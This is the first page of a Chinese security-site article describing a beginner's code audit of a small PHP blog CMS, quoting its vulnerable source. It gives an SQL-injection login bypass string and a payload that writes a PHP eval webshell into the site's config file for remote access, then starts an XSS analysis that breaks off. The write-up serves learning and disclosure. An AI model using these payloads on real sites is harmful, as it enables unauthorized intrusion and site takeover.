欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

浅谈代码审计入门实战:某博客系统最新版审计之旅

来源:本站整理 作者:pupiles 时间:2017-08-10 TAG: 我要投稿

第一次正式的审一次CMS,虽然只是一个很小的博客系统(提交都不一定收的那种),漏洞也都很简单,但是也算是积累了不少经验,所以最后想来还是在此做个分享,博客系统的CMS就不说了,毕竟有个官网挂着。。。缘起某日翻阅某朋友博客的时候无意间发现有个小型的CMS,反正暑假闲的无聊就去审了一下代码(正好拿来练练手),问题挺严重的,好多参数都没有进行过滤,光注入就有好多处,因为文章篇幅有限,这里就不一一列举了,这里只把我找到的漏洞中每类最典型的剖析一下。
身份验证漏洞
首先一上来就是一个很简单的洞,后台就可以万能密码绕过,问题出在这里ad/login.php先看代码
function jsloginpost(){
global $tabhead;
global $txtchk;
@$user=$_POST["user"];
@$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0);
@$loginlong=$_POST["loginlong"];
setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');
$tab=$tabhead."adusers";
$chk=" where adnaa='".$user."' and adpss='".$psw."' ";
mysql_select_db($tab);
$sql = mysql_query("select * from ".$tab.$chk);
这里我们并没有对POST和GET参数进行过滤(一开始我还以为定义了全局过滤,结果找了半天没找到,发现根本就没有过滤)所以登陆可以直接万能密码绕过
username=qweq' or 1=1#
password=123
任意文件修改导致getshell
进了后台以后我们先大致浏览一下功能,发现这里有个修改站点信息的功能,进入后台找到相应的setconfig.php我们先看一下大致的表单提交格式
function save(){
global $root,$dbuser,$dbpsw,$dbname,$tabhead,$webname,$webkeywords,$webinfo,$weburl,$webauthor,$webbegindate,$pagenum,$cachepath,$date,$starttime,$themepath,$artpath,$tagpath;
$file="../cmsconfig.php";
$text = file_get_contents($file);
$text2=$text;
$text2=str_replace('"'.$weburl.'"','"'.$_POST[1].'"',$text2);
$text2=str_replace('"'.$webbegindate.'"','"'.$_POST[2].'"',$text2);
$text2=str_replace('"'.$webname.'"','"'.$_POST[3].'"',$text2);
$text2=str_replace('"'.$webkeywords.'"','"'.$_POST[4].'"',$text2);
$text2=str_replace('"'.$webinfo.'"','"'.$_POST[5].'"',$text2);
$text2=str_replace('"'.$webauthor.'"','"'.$_POST[6].'"',$text2);
$text2=str_replace('"'.$artpath.'"','"'.$_POST[7].'"',$text2);
$text2=str_replace('"'.$tagpath.'"','"'.$_POST[8].'"',$text2);
$text2=str_replace('"'.$cachepath.'"','"'.$_POST[9].'"',$text2);
?>
这里我们我们可以很容易发现它对我们的输入并没有进行任何过滤就直接替换了原文件的内容,我们追踪到源文件

所以我们可以构造一句话插入
";@eval($_POST['cmd']);/*

然后用菜刀链接cmsconfig.php文件
XSS
既然是博客系统,那么最重要的一定是发布文章的模块,所以我们跟进去看一下,问题出在art.php先大致看一下代码有无过滤
添加文章
 
function addart(){
$_SESSION['jdate']='';$_SESSION['jid']='';
global $webauthor,$date,$weburl;
global $tabhead;
$title=$_GET['title'];
$content=$_GET['content'];
?>
这里乍一看是没有进行过滤的,接着找一下表单结构
div id=addart_left>
span id="jieguo">span>
form id="frm" name="frm" method="post" action="?g=editsave" >
input name=id type=hidden value="=$id?>" >
p>input  style="width:400px" type=text name=title value="=$title?>" >文章标题,严禁特殊符号p>
p>input  style="width:400px"  name=htmlname type=text value="=$htmlname?>" >html别名,静态目录,严禁特殊符号p>
p >input  style="width:400px;"  type=text name=pic id=pic_txt value="=$pic?>" title="您可在这里直接输入图片地址如http://www.axublog.com/logo.jpg?www.myhack58.com" onchange="changepic2()" >填写缩略图网址
p>
p>textarea id="content" name="content" style="width:670px;height:380px;visibility:hidden;">=htmlspecialchars($content);?>textarea>p>
div>
这里对$content编码进行了标签转义,检查了一下输出点后发现绕不过,想到试试别的参数,于是找到了tags参数添加文章的函数的确没有过率,然而到保存页面的时候发现存在问题,作者自己定义了一个过滤函数
$tags=$_POST['tags'];if($tags==''){$tags=$_SESSION['tags'];}
$tags=htmlnameguolv($tags);
跟进去过滤函数

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载